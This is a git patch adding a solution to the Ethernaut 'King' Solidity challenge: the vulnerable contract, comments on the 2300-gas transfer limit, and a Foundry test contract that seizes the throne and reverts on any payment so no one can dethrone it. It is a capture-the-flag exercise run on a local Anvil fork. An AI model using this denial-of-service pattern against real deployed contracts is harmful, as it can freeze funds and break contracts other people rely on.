From e28215a80e899c94d2e305154e64ad2fc61d30c2 Mon Sep 17 00:00:00 2001 From: 0xHUANG <0xBoscoHuang@gmail.com> Date: Sun, 19 Jan 2025 17:08:33 +0800 Subject: [PATCH] 09_King --- src/09_King.sol | 35 +++++++++++++++++++++++++++++++++++ test/09_King.t.sol | 41 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 76 insertions(+) create mode 100644 src/09_King.sol create mode 100644 test/09_King.t.sol diff --git a/src/09_King.sol b/src/09_King.sol new file mode 100644 index 0000000..f9feba2 --- /dev/null +++ b/src/09_King.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + + +/* +Author: @BoscoHuang + +Process: +- Deploy Token contract in anvil: + 0. anvil + 1. forge create src/09_king.sol:King --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 +*/ + +contract King { + address king; + uint256 public prize; + address public owner; + + constructor() payable { + owner = msg.sender; + king = msg.sender; + prize = msg.value; + } + + receive() external payable { + require(msg.value >= prize || msg.sender == owner); + payable(king).transfer(msg.value); + king = msg.sender; + prize = msg.value; + } + + function _king() public view returns (address) { + return king; + } +} \ No newline at end of file diff --git a/test/09_King.t.sol b/test/09_King.t.sol new file mode 100644 index 0000000..1d05c70 --- /dev/null +++ b/test/09_King.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "ds-test/test.sol"; +import "forge-std/Test.sol"; +import "../src/09_King.sol"; + +/* +Author: @BoscoHuang + +Analysis: +- transfer gas limit is 2300 +- the attack contract don't have recieve/fallback function, will block the transfer +- or the attack contract has recieve/fallback function, but has the code in these funciton, willl trigger out of gas. + + +Command: +- forge test --match-contract KingTest --fork-url http://127.0.0.1:8545 -vvv +*/ + +contract KingTest is DSTest { + King Ethernaut09; + + function setUp() public { + Ethernaut09 = King(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); + } + + function testEthernaut09() public { + address(Ethernaut09).call{value: Ethernaut09.prize()}(""); + console.log("New king: ", Ethernaut09._king()); + assert(address(this) == Ethernaut09._king()); + + (bool success, ) = address(Ethernaut09).call{value: Ethernaut09.prize()}(""); + console.log("New King Claims: ", success); + } + + receive() external payable { + revert("You can't defeat me"); + } + +} \ No newline at end of file